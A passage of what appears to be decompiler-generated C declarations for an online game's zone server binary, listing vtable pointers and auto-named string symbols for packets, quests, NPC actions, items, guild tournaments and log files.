*ZoneRingPacketKickPlayerOut::_vftable_[5])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketItemBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketExpBonus::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketSummonPartner::_vftable_[5])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketEmtpyInstanceDungeon::_vftable_[2])(int, int netcmd); // weak extern int (__stdcall *ZoneRingPacketRefreshWeddingInfo::_vftable_[3])(int iti, char nEndureGrade); // weak extern char aZoneconnects_0[]; // idb extern char aZoneconnects_2[]; // idb extern char aZoneringpac_20[]; // idb extern char aZoneringpac_17[]; // idb extern char aSIsAtSDD[]; // idb extern char aZoneringpac_23[]; // idb extern char aZoneringpac_15[]; // idb extern char aSIsBanned[]; // idb extern char aZoneringpac_11[]; // idb extern char aSIsNotInGame[]; // idb extern char aZoneringpack_1[]; // idb extern char aZoneringpack_6[]; // idb extern char aZoneringpack_7[]; // idb extern char aZoneringpack_8[]; // idb extern char aSummons[]; // idb extern char aZoneringpack_9[]; // idb extern char aZoneringpacket[]; // idb extern char aZoneringpac_14[]; // idb extern char aZoneringpack_4[]; // idb extern char aZoneringpack_2[]; // idb extern char aZoneringpac_10[]; // idb extern char aZoneringpac_16[]; // idb extern char aZoneringpac_13[]; // idb extern char aZoneringpack_3[]; // idb extern char aZoneipcontaine[]; // idb extern char aZoneipcontai_0[]; // idb extern char aZoneipcontai_1[]; // idb extern char aMessage_txt[]; // idb extern char aConnectSuccess[]; // idb extern char aTryToConnect_0[]; // idb extern char aTryToConnectSD[]; // idb extern char aZoneserverZ_16[]; // idb extern char aListenFromZone[]; // idb extern char aZoneserverZ_11[]; // idb extern char aZoneserverZ_10[]; // idb extern char aZoneserverZs_5[]; // idb extern char aZoneserverZ_13[]; // idb extern char aShinestackstru[]; // idb extern char aEraseoldloglis[]; // idb extern char aVoidEraseoldlo[]; // idb extern char aChargeditemlog[]; // idb extern char a_txt[6]; // weak extern char aSuccess[8]; // weak extern char aReconnect[]; // idb extern char aSocketCutTryRe[]; // idb extern char aSleepmanagerSm[]; // idb extern char aSleepmanager_0[]; // idb extern char aZoneserverZs_c[]; // idb extern char aServiceUnknown[26]; // weak extern char aServiceRemoveF[24]; // weak extern char aServiceRemoveO[20]; // weak extern char aServiceUploadF[24]; // weak extern char aServiceUploadO[25]; // weak extern char aServiceStart[16]; // weak extern char asc_5E135C[5]; // weak extern char aRemove[]; // idb extern char aUpload[]; // idb extern char aCutByInvalidPa[]; // idb extern char aCutByHeartbeat[]; // idb extern char aCloseDuringSes[]; // idb extern char aZoneserver[]; // idb extern char aZoneserverZs_9[]; // idb extern char aZoneserverZs_1[]; // idb extern char aZoneserverZ_14[]; // idb extern char pFN[]; // idb extern char aZoneserverZs_0[]; // idb extern char aZoneserverZs_s[]; // idb extern char aZoneserverZ_17[]; // idb extern char dataServe::a[]; // idb extern char aZoneserverZs_d[]; // idb extern char aSocket[7]; // weak extern char aSocketCutNotFo[]; // idb extern char aWms[]; // idb extern char aLog[]; // idb extern char flag[]; // idb extern char aInlist[]; // idb extern char aIndex_1[]; // idb extern char asc_5E15A8[]; // idb extern char aObjtype[]; // idb extern char aZoneserverZ_15[]; // idb extern char aZonelis[]; // idb extern char from[]; // idb extern char aZoneserverZs_m[]; // idb extern char aZoneserverZs_6[]; // idb extern char aZoneserverZs_4[]; // idb extern char aZoneserverZs_7[]; // idb extern char aZoneserverZs_2[]; // idb extern int (__cdecl *EventHeartPing::_vftable_)(int __formal); // weak extern int (__stdcall *EventReserveContainer::_vftable_[3])(__int16 hnd); // weak extern char aEventreserveli[]; // idb extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *ITableBase::_vftable_)(int __formal); // weak extern int (__cdecl *IIDTableBase::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentLvGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentOccupyTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentSkillTable::_vftable_)(int __formal); // weak extern int (__cdecl *GuildTournamentMasterBuffTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIGetRateGapTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIServerTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTIBreedSubjectTable::_vftable_)(int __formal); // weak extern int (__cdecl *GTWinScoreTable::_vftable_)(int __formal); // weak extern int (__cdecl *AccUpGradeTable::_vftable_)(int __formal); // weak extern int (__cdecl *MysteryVaultTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Monster::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Monster_to_Player::_vftable_)(int __formal); // weak extern int (__cdecl *AccUpGradeInfoTable::_vftable_)(int __formal); // weak extern int (__cdecl *LevelGap_Player_to_Player::_vftable_)(int __formal); // weak extern char aFailToRead[]; // idb extern char aZoneserverZ_18[]; // idb extern char aFailToReadShnD[]; // idb extern char fileName[]; // idb extern char aZoneserverZs_i[]; // idb extern char a__9dataShin_61[]; // idb extern char aFailToReadDice[]; // idb extern char a__9dataShin_50[]; // idb extern char aFailToReadDiec[]; // idb extern char a__9dataShin_58[]; // idb extern char aFailToReadDi_0[]; // idb extern char a__9dataShineDi[]; // idb extern char aFailToReadMini[]; // idb extern char a__9dataShin_36[]; // idb extern char aFailToPlayerQu[]; // idb extern char aQuestparser_tx[]; // idb extern char pkFileName[]; // idb extern char aFailToReadQues[]; // idb extern char a__9dataShineQu[]; // idb extern char aFailToReadItem[]; // idb extern char a__9dataShin_47[]; // idb extern char aMysteryvaultse[]; // idb extern char aDamagelvgappvp[]; // idb extern char aDamagelvgapevp[]; // idb extern char aDamagelvgappve[]; // idb extern char aAccupgrade_shn[]; // idb extern char aAccupgradeinfo[]; // idb extern char aFailToReadIt_0[]; // idb extern char a__9dataShineIt[]; // idb extern char aFailToReadClas[]; // idb extern char dataShine::a[]; // idb extern char aFailToReadAnno[]; // idb extern char a__9dataShineAn[]; // idb extern char aFailToReadChar[]; // idb extern char a__9dataShine_0[]; // idb extern char a__9dataShin_31[]; // idb extern char a__9dataShineMi[]; // idb extern char a__9dataShineCh[]; // idb extern char aGtwinscore_shn[]; // idb extern char aGtibreedsubjec[]; // idb extern char aGtiserver_shn[]; // idb extern char aGtigetrategap_[]; // idb extern char aGtigetrate_shn[]; // idb extern char aGuildtourna_25[]; // idb extern char aGuildtourna_23[]; // idb extern char aGuildtournam_4[]; // idb extern char aGuildtourna_11[]; // idb extern char pkChar[]; // idb extern char aDamagebyangl_5[]; // idb extern char table[]; // idb extern char aZoneserverZs_3[]; // idb extern char aDeamondead[]; // idb extern char aMenustring[]; // idb extern char aEtc[]; // idb extern char aAssert[]; // idb extern char pkDir[]; // idb extern char aPlayerBufferSi[]; // idb extern char aZoneserverZ_12[]; // idb extern char aMobaggrolog[]; // idb extern char aSkilllog[]; // idb extern char aKqlog[]; // idb extern char aPacketlog[]; // idb extern char aZoneringlinklo[]; // idb extern char aMobregenlog[]; // idb extern char aLoginlinklog[]; // idb extern char aServicelog[]; // idb extern char aDisconnectlog[]; // idb extern char aDisconnectlog2[]; // idb extern char aWmspacketlog[]; // idb extern char aLinklog[]; // idb extern char aAbstate2wms[]; // idb extern char aGoldhilllog[]; // idb extern char aMaprelink[]; // idb extern char aPassivelog[]; // idb extern char aFuncinitlog[]; // idb extern char aTreasureboxlog[]; // idb extern char aGuildwarlog[]; // idb extern char aGuildwarlog2[]; // idb extern char aGuildwarlog3[]; // idb extern char aCharclassbuglo[]; // idb extern char aChargeditemvan[]; // idb extern char aHorselog[]; // idb extern char aHplog[]; // idb extern char aAttackfaillog[]; // idb extern char aScriptchase[]; // idb extern char aSkillcastnotfi[]; // idb extern char aOptoolsocklog[]; // idb extern char aPartyerrorlog[]; // idb extern char aKqrewardlog[]; // idb extern char aDeadchecklog[]; // idb extern char aDropitemlog[]; // idb extern char aBriefchangeinb[]; // idb extern char aAbstatkeeptime[]; // idb extern char aKqentrylog[]; // idb extern char aKqtournamentlo[]; // idb extern char aPlayerregnumlo[]; // idb extern char aHpcharge[]; // idb extern char aKqlogoutlog[]; // idb extern char aAttackimmortal[]; // idb extern char aMoredisconnect[]; // idb extern char aPartyinformlog[]; // idb extern char aWmhrepairlog[]; // idb extern char aInnerminihouse[]; // idb extern char aItemreloclog[]; // idb extern char aMobitemdroplog[]; // idb extern char aGuildwarrefres[]; // idb extern char aPacketlengthov[]; // idb extern char aSocketmultipli[]; // idb extern char aHolypromiselog[]; // idb extern char aLockindexlog[]; // idb extern char aGuildtournamen[]; // idb extern char aShineobjecthan[]; // idb extern char aDebuglog[]; // idb extern char aCannouncesys_0[]; // idb extern char aCannouncesyste[]; // idb extern char aShineobjectSo_[]; // idb extern char aShineplayerS_2[]; // idb extern char aShineobjectS_1[]; // idb extern char aShineplayerS_1[]; // idb extern int (__stdcall *CQuestZone::_vftable_[2])(int sklidx); // weak extern char aCquestzoneIn_0[]; // idb extern char aCquestzoneInit[]; // idb extern char aCquestzoneQ_22[]; // idb extern char aCquestzoneQu_4[]; // idb extern char aCquestzoneQ_25[]; // idb extern char aCquestzoneQ_31[]; // idb extern char aCquestzoneQ_19[]; // idb extern char aCquestzoneGetp[]; // idb extern char aCquestzoneGetq[]; // idb extern char aCquestzoneGe_0[]; // idb extern char aCquestzoneGets[]; // idb extern char aCquestzoneSe_4[]; // idb extern char aCquestzoneS_16[]; // idb extern char aCquestzoneSe_3[]; // idb extern char aCquestzoneS_13[]; // idb extern char aCquestzoneS_10[]; // idb extern char aCquestzoneSend[]; // idb extern char aCquestzoneRe_1[]; // idb extern char aCquestzoneSe_9[]; // idb extern char aCquestzoneSe_2[]; // idb extern char aCquestzoneS_11[]; // idb extern char aCquestzoneRe_6[]; // idb extern char aCquestzoneS_14[]; // idb extern char aCquestzoneS_18[]; // idb extern char aCquestzoneSe_5[]; // idb extern char aCquestzoneSe_0[]; // idb extern char aCquestzoneS_15[]; // idb extern char aCquestzoneSe_8[]; // idb extern char aCquestzoneSe_7[]; // idb extern char aCquestzoneSe_1[]; // idb extern char aCquestzoneRe_7[]; // idb extern char aCquestzoneS_12[]; // idb extern char aCquestzoneS_17[]; // idb extern char aCquestzoneMa_0[]; // idb extern char aCquestzoneMake[]; // idb extern char aCquestzoneMa_1[]; // idb extern char aSDS[]; // idb extern char aCquestzonePsst[]; // idb extern char aCquestzoneQ_36[]; // idb extern char aCquestzoneQ_27[]; // idb extern char aCquestzoneQ_34[]; // idb extern char aCquestzoneQ_24[]; // idb extern char aCquestzoneQ_28[]; // idb extern char aCquestzoneQ_16[]; // idb extern char aCquestzoneQ_13[]; // idb extern char aCquestzoneQu_5[]; // idb extern char aCquestzoneQu_1[]; // idb extern char aCquestzoneQ_14[]; // idb extern char aCquestzoneQ_30[]; // idb extern char aCquestzoneSe_6[]; // idb extern char aErrorRecv_nc_q[]; // idb extern char aCquestzoneRe_3[]; // idb extern char aCquestzoneRe_5[]; // idb extern char aCquestzoneQ_26[]; // idb extern char aCquestzoneQu_0[]; // idb extern char aPromoteJobch_2[21]; // weak extern char aCquestzoneQ_35[]; // idb extern char aPromoteJobchan[21]; // weak extern char aCquestzoneQues[]; // idb extern char aPromoteJobch_1[21]; // weak extern char aCquestzoneQ_15[]; // idb extern char aCquestzoneQu_3[]; // idb extern char aPromoteJobch_0[19]; // weak extern char aCquestzoneQ_33[]; // idb extern char aCquestzoneQu_2[]; // idb extern char aCquestzoneQu_8[]; // idb extern char aCquestzoneQ_12[]; // idb extern char aCquestzoneQ_21[]; // idb extern char aCquestzoneQ_20[]; // idb extern char aCquestzoneQ_18[]; // idb extern char aCquestzoneQ_23[]; // idb extern char aCquestzoneQ_11[]; // idb extern char aCquestzoneQ_32[]; // idb extern char aCquestzoneQu_9[]; // idb extern char aCquestzoneQu_6[]; // idb extern char aCquestzoneQ_29[]; // idb extern char aCquestzoneQ_17[]; // idb extern char aErrorRecv_nc_0[]; // idb extern char aErrorCquestzon[]; // idb extern char aCquestzoneRe_2[]; // idb extern char aErrorCquestz_0[]; // idb extern char aCquestzoneNc_q[]; // idb extern char aCquestzoneRecv[]; // idb extern char aCquestzoneRe_0[]; // idb extern char aCquestzonePsen[]; // idb extern char asc_5E3720[]; // idb extern char aCquestzoneQu_7[]; // idb extern char aCquestzoneQ_10[]; // idb extern char aCquestzoneRe_4[]; // idb extern char aQuestlog[]; // idb extern int (__thiscall *NPCAction::DispelAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionlAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::AbStateAction::_vftable_)(void *p, char); // weak extern char aSkillactionS_0[]; // idb extern char aSkillactionSki[]; // idb extern int (__thiscall *NPCAction::SkillAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DieAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GTItemAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::InteractAction::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::NoticeAction::_vftable_)(void *p, char); // weak extern char aActiongen_op_3[]; // idb extern char aGtieffect[]; // idb extern char aDie[]; // idb extern char aNotice[]; // idb extern char aActiongen_op_2[]; // idb extern char aActiongen_opti[]; // idb extern char aAbstate[]; // idb extern char aEmotion[]; // idb extern char aLink_0[]; // idb extern char aActiongen_op_0[]; // idb extern char aActiongen_op_1[]; // idb extern char first[]; // idb extern char aNpcaction[]; // idb extern int (*NPCAction::ICondition::_vftable_[4])(); // weak extern int (__thiscall *NPCAction::NoneCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::ABStateCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::LvGapCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::ClassCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::SkillCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::EmotionCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::GT_TeamCondition::_vftable_)(void *p, char); // weak extern int (__thiscall *NPCAction::DeadCondition::_vftable_)(void *p, char); // weak extern char aNoneconditionC[]; // idb extern char aAbstateconditi[]; // idb extern char aLvgapcondition[]; // idb extern char aClasscondition[]; // idb extern char aCondgen_opti_2[]; // idb extern char aGtiteam[]; // idb extern char aNone[]; // idb extern char aDefault[]; // idb extern char aCondgen_option[]; // idb extern char aCondgen_opti_3[]; // idb extern char aClass[]; // idb extern char aLvgap[]; // idb extern char aCondgen_opti_0[]; // idb extern char aCondgen_opti_1[]; // idb extern char aTerm[]; // idb extern char aNpccondition[]; // idb extern int (__stdcall *NeighborhoodChecker::_vftable_)(#325 *pcName, ShineRTTI *pkBaseRTTI, int distancesquar); // weak extern char aNeighborhoodch[]; // idb extern int (__thiscall *NPCAction::Trigger::_vftable_)(void *p, char); // weak extern char a__9dataShin_24[]; // idb extern char aNpcactionUtilL[]; // idb extern char aZoneserverZs_8[]; // idb extern char a__9dataShin_19[]; // idb extern char aNpcactionTrigg[]; // idb extern char aDotriggers_Ope[]; // idb extern char aTriggergen_o_4[]; // idb extern char aTriggergen_o_1[]; // idb extern char aTriggergen_opt[]; // idb extern char aTriggergen_o_3[]; // idb extern char aTriggergen_o_2[]; // idb extern char aTriggergen_o_0[]; // idb extern char aTrigger[]; // idb extern char aDwordAccupgrad[]; // idb extern char aAccupgradein_0[]; // idb extern char aGuildtournam_2[]; // idb extern char aGuildtourna_19[]; // idb extern char aGuildtourna_16[]; // idb extern char aGtigetrateta_0[]; // idb extern char aGtigetratetabl[]; // idb extern char aGtigetrateta_1[]; // idb extern char aGuildtournam_6[]; // idb extern char aMysteryvaultta[]; // idb extern char aMysteryboltt_5[]; // idb extern char aMysteryboltt_4[]; // idb extern char aMysterybolttab[]; // idb extern char aMysteryboltt_1[]; // idb extern char aNavigatorPathf[]; // idb extern char aNavigatorPat_0[]; // idb extern char aNavigatorMap_0[]; // idb extern char aNavigatorWai_1[]; // idb extern char aNavigatorWai_0[]; // idb extern char aNavigatorWaiti[]; // idb extern char aNavigatorMapna[]; // idb extern char aNavigatorPatha[]; // idb extern char aNavigatorMap_1[]; // idb extern char aNavigatorMap_2[]; // idb extern char aNavigatorVir_0[]; // idb extern char aNavigatorVirtu[]; // idb extern char aNavigatorVir_1[]; // idb extern char aCcharacterti_1[]; // idb extern char aCcharacterti_2[]; // idb extern char aCcharacterti_3[]; // idb extern char aCcharactertitl[]; // idb extern char aCcharacterti_4[]; // idb extern char aSend_nc_ct_db_[]; // idb extern char aSend_nc_ct_d_0[]; // idb extern char aCcharacterti_0[]; // idb extern char asc_5E4460[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__thiscall *CGuildZone::_vftable_)(CGuildZone *this, int pCmd); // weak extern char aCguildzoneClea[]; // idb extern char aCguildzoneSe_0[]; // idb extern char aCguildzoneSend[]; // idb extern char aCguildzoneRecv[]; // idb extern char aCguildzoneRe_0[]; // idb extern char aBossfieldcon_0[]; // idb extern char aShineobjectcla[]; // idb extern char asc_5E4644[]; // idb extern char aBossfieldcon_7[]; // idb extern char aBossfieldcon_1[]; // idb extern char asc_5E46EC[]; // idb extern char asc_5E471C[]; // idb extern char aBossfieldco_11[]; // idb extern char aServentbuffb_0[]; // idb extern char aServentbuffbos[]; // idb extern char aServentbuffb_2[]; // idb extern char aServentbuffb_1[]; // idb extern char a__9dataShineSt[]; // idb extern char aBossfieldcon_3[]; // idb extern char aBossfieldco_13[]; // idb extern char aBossfieldcon_2[]; // idb extern char aBossfieldco_14[]; // idb extern char a__9dataShin_27[]; // idb extern char aBossfieldconte[]; // idb extern char aBossfieldcon_5[]; // idb extern char aBossfieldcon_4[]; // idb extern char aBossfieldcon_9[]; // idb extern char aBossfieldcon_8[]; // idb extern char aBossfieldco_10[]; // idb extern char aBossfieldco_12[]; // idb extern char a__9dataShin_18[]; // idb extern char aBossfieldcon_6[]; // idb extern char aAssertS02d_txt[]; // idb extern char aSAssertclass_0[]; // idb extern char aSAssertclass_1[]; // idb extern char aSAssertclass_2[]; // idb extern char aSAssertclassAc[]; // idb extern char aExitlogS02d_tx[]; // idb extern char aShinescriptS_1[]; // idb extern char aScrindex[]; // idb extern char aShinescriptS_0[]; // idb extern char aShinescriptSs_[]; // idb extern char dataShine::a[]; // idb extern char a__9dataShin_56[]; // idb extern char aKqscriptmanage[]; // idb extern char aTooManyKqScrip[]; // idb extern char aInvalidScrip_0[]; // idb extern char aInvalidScriptN[]; // idb extern char aKqscriptmana_0[]; // idb extern char aDialogfile[]; // idb extern char a__9dataShineMo[]; // idb extern char aMobresisttable[]; // idb extern char aMobresisttab_0[]; // idb extern char aMapidclient[]; // idb extern char aItemattributec[]; // idb extern int (__stdcall *ItemAttributeClass::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ByteLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WordLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_DwrdLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_QuestLot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amulet::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Weapon::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Armor::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Shield::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Boot::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Furniture::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Decoration::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_SkillScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_RecallScroll::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_BindItem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpSource::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ItemChest::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_WeaponTitlaLicence::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KingdomQuestItem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_MiniHouseSkin::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeRedGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeBlueGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_UpgradeGoldGem::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_KQStep::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Feed::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Riding::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_Amount::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_CostumWeapon::_vftable_[2])(int itm, int buffer); // weak extern int (__stdcall *ItemAttrCls_ActionItem::_vftable_[2])(int itm, int buffer); // weak extern char aN1[4]; // weak extern char aMobdataboxRe_0[]; // idb extern char aMobdataboxRe_1[]; // idb extern char aMemoryLeakForI[]; // idb extern char aDataDuplicateI[]; // idb extern char aMobdataboxMd_4[]; // idb extern char aMobdataboxMdb_[]; // idb extern char aConflict[]; // idb extern char aDDD_0[]; // idb extern char aMobdataboxMd_7[]; // idb extern char a__9dataShin_26[]; // idb extern char a__9dataShin_67[]; // idb extern char a__9dataShin_32[]; // idb extern char a__9dataShin_53[]; // idb extern char a__9dataShine_2[]; // idb extern char a__9dataShine_5[]; // idb extern char a__9dataShin_38[]; // idb extern char a__9dataShin_28[]; // idb extern char aMobdataboxMd_5[]; // idb extern char aMobdataboxMd_1[]; // idb extern char aMobdataboxMd_0[]; // idb extern char aMobdataboxMd_8[]; // idb extern char aMobdataboxMd_6[]; // idb extern char aMobdataboxMd_2[]; // idb extern char aMobdataboxMd_3[]; // idb extern int (__stdcall *ItemInventory::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemEquipment::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemQuestItemBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemAccountStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemMiniHouseBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemGuildAcademyRewardStorage::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemFurnicherBox::_vftable_[2])(int slot); // weak extern int (__stdcall *ItemRewardStorage::_vftable_[2])(int slot); // weak extern char aItemrewardstor[]; // idb extern int (*ItemBoxIterItemRegNo::_vftable_[4])(); // weak extern int (*ItemSmallBag::_vftable_[3])(); // weak extern char aItembagIb_init[]; // idb extern char aSD_0[]; // idb extern char aSD[]; // idb extern char aStorageerror_t[]; // idb extern char aCharacterinv_1[]; // idb extern char aCharacterinven[]; // idb extern char aCharacterinv_0[]; // idb extern char aCharacterinv_2[]; // idb extern char aItembagIb_clea[]; // idb extern int (__stdcall *ItemActionItemBox::_vftable_[2])(int slot); // weak extern char err[]; // idb extern char aUndefinedColum[22]; // weak extern char aAtLeastOneColu[27]; // weak extern char msg[]; // idb extern char aColumnheaderWi[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aTooManyTables[]; // idb extern char aUndefinedComma[]; // idb extern char aFileNotFound[]; // idb extern char aUndefinedError[]; // idb extern char aIndex[]; // idb extern char aString[]; // idb extern char aByte[]; // idb extern char aWord[]; // idb extern char aDwrd[]; // idb extern char aDword[]; // idb extern char aComment[]; // idb extern char aBrace[]; // idb extern char aIgnore[]; // idb extern char aDelimiter[]; // idb extern char aExchange[]; // idb extern char aTable[]; // idb extern char aColumntype[]; // idb extern char aColumnname[]; // idb extern char aRecord[]; // idb extern char aRecordin[]; // idb extern char aEnd_0[]; // idb extern int (__stdcall *ORColumnHeader::_vftable_)(int token, int targ); // weak extern char aCannotAllocFie[]; // idb extern int (__stdcall *ORColumnHeaderIndex::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderString::_vftable_)(int token, int result); // weak extern char aBraceMustBeClo[]; // idb extern char aStringLengthMu[]; // idb extern char aErrorInStringL[]; // idb extern char aStringNeedLeng[]; // idb extern int (__stdcall *ORColumnHeaderByte::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderWord::_vftable_)(int token, int targ); // weak extern int (__stdcall *ORColumnHeaderDwrd::_vftable_)(int token, int targ); // weak extern int (__stdcall *MakePrimaryKeyColumn::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *MakePrimaryKey::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *OrderArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnNameArgument::_vftable_)(int ele, __int16 handle); // weak extern char aColumnTypeName[]; // idb extern int (__stdcall *DataRecordArgument::_vftable_[5])(int ele, __int16 handle); // weak extern int (__stdcall *ColumnCheckArgument::_vftable_[4])(int ele, __int16 handle); // weak extern int (__stdcall *TargetColumnFindArgument::_vftable_[3])(int ele, __int16 handle); // weak extern int (__stdcall *RecordDataCompareArgument::_vftable_[2])(int ele, __int16 handle); // weak extern int (__stdcall *TableNameCompareArgument::_vftable_)(int ele, __int16 handle); // weak extern char aRecordAllocErr[]; // idb extern char aTooManyRecords[]; // idb extern char aUnknownTableNa[19]; // weak extern char aRecordinHasNoT[]; // idb extern char aRecordWithoutT[]; // idb extern char aNoerr[6]; // weak extern char aExtraDataExist[17]; // weak extern char aInvalidCharact[18]; // weak extern char aCommentExpecte[19]; // weak extern char aTooManyDelimit[20]; // weak extern char aTooManyExchang[18]; // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aExceptionFaile[]; // idb extern char asc_5E6948[76]; // weak extern char asc_5E6994[]; // idb extern char aCallstack_txt[14]; // weak extern _UNKNOWN unk_5E69A8; // weak extern char aExceptionFai_0[]; // idb extern char aExceptionFai_1[]; // idb extern char aExceptionSaved[]; // idb extern char a_mdmp[6]; // weak extern char ProcName[]; // idb extern char LibFileName[]; // idb extern char aItemoptionsd_3[]; // idb extern char aItemoptionsd_2[]; // idb extern char aItemoptionsd_0[]; // idb extern char aItemoptionsd_7[]; // idb extern char a__9dataShineSh[]; // idb extern char aItemoptionsd_1[]; // idb extern char aItemoptionsd_5[]; // idb extern char aItemoptionsd_8[]; // idb extern char aItemoptionsdat[]; // idb extern char aItemoptionsd_6[]; // idb extern char aItemoptionsd_4[]; // idb extern char a__9dataShin_43[]; // idb extern char aErrorcodeD_0[]; // idb extern char aErrorcodeD[15]; // weak extern char aSS_0[]; // idb extern char a04d02d02d[]; // idb extern char aSS[]; // idb extern char Format[]; // idb extern char a_DebugmessageS[]; // idb extern char a06dSS[]; // idb extern int (__thiscall *std::codecvt::_vftable_)(void *p, char); // weak extern int (__thiscall *std::basic_filebuf>::_vftable_)(void *p, char); // weak extern char aC_0[5]; // weak extern char aCmd_exe[8]; // weak extern char option[]; // idb extern char strFunct[]; // idb extern char strstrParams[]; // idb extern char aDARshaSQF[]; // idb extern char aEARshaSQF[]; // idb extern char aFARshaSQF[]; // idb extern char aCsocket_iocpRe[]; // idb extern int (__stdcall *CIOCP_Process_Interfece::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern char aCsocket_iocp_1[]; // idb extern char aSendIobufferFu[]; // idb extern char aCsocket_iocp_0[]; // idb extern char aCsocket_iocpWr[]; // idb extern char aCsocket_iocp_2[]; // idb extern char aMissmatchWrite[]; // idb extern char aM_pfirstbufNul[]; // idb extern char aWarningCsock_0[]; // idb extern char aWarningCsocket[]; // idb extern int (__cdecl *CPacket::_vftable_[2])(int __formal); // weak extern char aIocpWorkthre_0[]; // idb extern char aIocpWorkthread[]; // idb extern char asc_5E71FC[3]; // weak extern char asc_5E7200[3]; // weak extern char asc_5E7204[6]; // weak extern char aFormatDefinnin[]; // idb extern char aSFormatDefinin[]; // idb extern char aDataDefinningE[]; // idb extern char 